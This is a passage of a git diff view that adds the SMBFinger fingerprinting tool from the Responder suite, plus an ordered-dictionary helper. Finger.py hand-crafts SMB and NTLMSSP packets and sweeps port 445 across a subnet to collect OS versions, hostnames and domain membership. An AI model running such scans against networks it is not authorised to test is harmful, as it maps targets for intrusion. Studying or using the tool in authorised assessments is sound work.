|
||||||
|
def __repr__(self):
|
||||||
|
if not self:
|
||||||
|
return '%s()' % (self.__class__.__name__,)
|
||||||
|
return '%s(%r)' % (self.__class__.__name__, self.items())
|
||||||
|
|
||||||
|
def copy(self):
|
||||||
|
return self.__class__(self)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def fromkeys(cls, iterable, value=None):
|
||||||
|
d = cls()
|
||||||
|
for key in iterable:
|
||||||
|
d[key] = value
|
||||||
|
return d
|
||||||
|
|
||||||
|
def __eq__(self, other):
|
||||||
|
if isinstance(other, OrderedDict):
|
||||||
|
return len(self)==len(other) and \
|
||||||
|
min(p==q for p, q in zip(self.items(), other.items()))
|
||||||
|
return dict.__eq__(self, other)
|
||||||
|
|
||||||
|
def __ne__(self, other):
|
||||||
|
return not self == other
|
||||||
234
tools/SMBFinger/Finger.py
Executable file
234
tools/SMBFinger/Finger.py
Executable file
|
|
@ -0,0 +1,234 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import re,sys,socket,struct
|
||||||
|
from socket import *
|
||||||
|
from odict import OrderedDict
|
||||||
|
import optparse
|
||||||
|
|
||||||
|
__version__ = "0.3"
|
||||||
|
|
||||||
|
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||||
|
|
||||||
|
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
||||||
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
|
Timeout = 0.3
|
||||||
|
Host = options.TARGET
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
return length
|
||||||
|
|
||||||
|
class SMBHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x00"),
|
||||||
|
("flag2", "\x00\x00"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x00\x00"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNego(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x62\x00"),
|
||||||
|
("Data", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBNegoData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("BuffType","\x02"),
|
||||||
|
("Dialect", "NT LM 0.12\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
class SMBSessionFingerData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x0c"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("reserved","\x00" ),
|
||||||
|
("andxoffset", "\x00\x00"),
|
||||||
|
("maxbuff","\x04\x11"),
|
||||||
|
("maxmpx", "\x32\x00"),
|
||||||
|
("vcnum","\x00\x00"),
|
||||||
|
("sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("securitybloblength","\x4a\x00"),
|
||||||
|
("reserved2","\x00\x00\x00\x00"),
|
||||||
|
("capabilities", "\xd4\x00\x00\xa0"),
|
||||||
|
("bcc1",""),
|
||||||
|
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||||
|
|
||||||
|
##Now Lanman
|
||||||
|
class SMBHeaderLanMan(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x08"),
|
||||||
|
("flag2", "\x01\xc8"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x3c\x1b"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNegoDataLanMan(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x54\x00"),
|
||||||
|
("BuffType","\x02"),
|
||||||
|
("Dialect", "NT LM 0.12\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
|
||||||
|
|
||||||
|
#####################
|
||||||
|
|
||||||
|
def atod(a):
|
||||||
|
return struct.unpack("!L",inet_aton(a))[0]
|
||||||
|
|
||||||
|
def dtoa(d):
|
||||||
|
return inet_ntoa(struct.pack("!L", d))
|
||||||
|
|
||||||
|
def OsNameClientVersion(data):
|
||||||
|
try:
|
||||||
|
length = struct.unpack('<H',data[43:45])[0]
|
||||||
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||||
|
return OsVersion, ClientVersion
|
||||||
|
|
||||||
|
except:
|
||||||
|
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||||
|
|
||||||
|
def GetHostnameAndDomainName(data):
|
||||||
|
try:
|
||||||
|
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||||
|
return Hostname, DomainJoined
|
||||||
|
except:
|
||||||
|
return "Could not get Hostname.", "Could not get Domain joined"
|
||||||
|
|
||||||
|
def DomainGrab(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect(Host)
|
||||||
|
except:
|
||||||
|
print "Host down or port close, skipping"
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||||
|
n = SMBNegoDataLanMan()
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x72\x00":
|
||||||
|
return GetHostnameAndDomainName(data)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def SmbFinger(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect(Host)
|
||||||
|
except:
|
||||||
|
print "Host down or port close, skipping"
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||||
|
n = SMBNego(Data = SMBNegoData())
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x72\x00":
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||||
|
t = SMBSessionFingerData()
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x73\x16":
|
||||||
|
return OsNameClientVersion(data)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
##################
|
||||||
|
#run it
|
||||||
|
def ShowResults(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect(Host)
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
print "Retrieving information for %s..."%Host[0]
|
||||||
|
OsVer, LanManClient = SmbFinger(Host)
|
||||||
|
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
||||||
|
Hostname, DomainJoined = DomainGrab(Host)
|
||||||
|
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def RunFinger(Host):
|
||||||
|
m = re.search("/", str(Host))
|
||||||
|
if m :
|
||||||
|
net,_,mask = Host.partition('/')
|
||||||
|
mask = int(mask)
|
||||||
|
net = atod(net)
|
||||||
|
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||||
|
ShowResults((host,445))
|
||||||
|
else:
|
||||||
|
ShowResults((Host,445))
|
||||||
|
|
||||||
|
RunFinger(Host)
|
||||||
106
tools/SMBFinger/odict.py
Normal file
106
tools/SMBFinger/odict.py
Normal file
|
|
@ -0,0 +1,106 @@
|
||||||
|
from UserDict import DictMixin
|
||||||
|
|
||||||
|
class OrderedDict(dict, DictMixin):
|
||||||
|
|
||||||
|
def __init__(self, *args, **kwds):
|
||||||
|
if len(args) > 1:
|
||||||
|
raise TypeError('expected at most 1 arguments, got %d' % len(args))
|
||||||
|
try:
|
||||||
|
self.__end
|
||||||
|
except AttributeError:
|
||||||
|
self.clear()
|
||||||
|
self.update(*args, **kwds)
|
||||||
|
|
||||||
|
def clear(self):
|
||||||
|
self.__end = end = []
|
||||||
|
end += [None, end, end]
|
||||||
|
self.__map = {}
|
||||||
|
dict.clear(self)
|
||||||
|
|
||||||
|
def __setitem__(self, key, value):
|
||||||
|
if key not in self:
|
||||||
|
end = self.__end
|
||||||
|
curr = end[1]
|
||||||
|
curr[2] = end[1] = self.__map[key] = [key, curr, end]
|
||||||
|
dict.__setitem__(self, key, value)
|
||||||
|
|
||||||
|
def __delitem__(self, key):
|
||||||
|
dict.__delitem__(self, key)
|
||||||
|
key, prev, next = self.__map.pop(key)
|
||||||
|
prev[2] = next
|
||||||
|
next[1] = prev
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
end = self.__end
|
||||||
|
curr = end[2]
|
||||||
|
while curr is not end:
|
||||||
|
yield curr[0]
|
||||||
|
curr = curr[2]
|
||||||
|
|
||||||
|
def __reversed__(self):
|
||||||
|
end = self.__end
|
||||||
|
curr = end[1]
|
||||||
|
while curr is not end:
|
||||||
|
yield curr[0]
|
||||||
|
curr = curr[1]
|
||||||
|
|
||||||
|
def popitem(self, last=True):
|
||||||
|
if not self:
|
||||||
|
raise KeyError('dictionary is empty')
|
||||||
|
if last:
|
||||||
|
key = reversed(self).next()
|
||||||
|
else:
|
||||||
|
key = iter(self).next()
|
||||||
|
value = self.pop(key)
|
||||||
|
return key, value
|
||||||
|
|
||||||
|
def __reduce__(self):
|
||||||
|
items = [[k, self[k]] for k in self]
|
||||||
|
tmp = self.__map, self.__end
|
||||||
|
del self.__map, self.__end
|
||||||
|
inst_dict = vars(self).copy()
|
||||||
|
self.__map, self.__end = tmp
|
||||||
|
if inst_dict:
|
||||||
|
return (self.__class__, (items,), inst_dict)
|
||||||
|
return self.__class__, (items,)
|
||||||
|
|
||||||
|
def keys(self):
|
||||||
|
return list(self)
|
||||||
|
|
||||||
|
setdefault = DictMixin.setdefault
|
||||||
|
update = DictMixin.update
|
||||||
|
pop = DictMixin.pop
|
||||||
|
values = DictMixin.values
|
||||||
|
items = DictMixin.items
|
||||||
|
iterkeys = DictMixin.iterkeys
|
||||||
|
itervalues = DictMixin.itervalues
|
||||||
|
iteritems = DictMixin.iteritems
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
if not self:
|
||||||
|
return '%s()' % (self.__class__.__name__,)
|
||||||
|
return '%s(%r)' % (self.__class__.__name__, self.items())
|
||||||
|
|
||||||
|
def copy(self):
|
||||||
|
return self.__class__(self)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def fromkeys(cls, iterable, value=None):
|
||||||
|
d = cls()
|
||||||
|
for key in iterable:
|
||||||
|
d[key] = value
|
||||||
|
return d
|
||||||
|
|
||||||
|
def __eq__(self, other):
|
||||||
|
if isinstance(other, OrderedDict):
|
||||||
|
return len(self)==len(other) and \
|
||||||
|
min(p==q for p, q in zip(self.items(), other.items()))
|
||||||
|
return dict.__eq__(self, other)
|
||||||
|
|
||||||
|
def __ne__(self, other):
|
||||||
|
return not self == other
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
|
||||||
|
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']
|
||||||
Loading…
Add table
Add a link
Reference in a new issue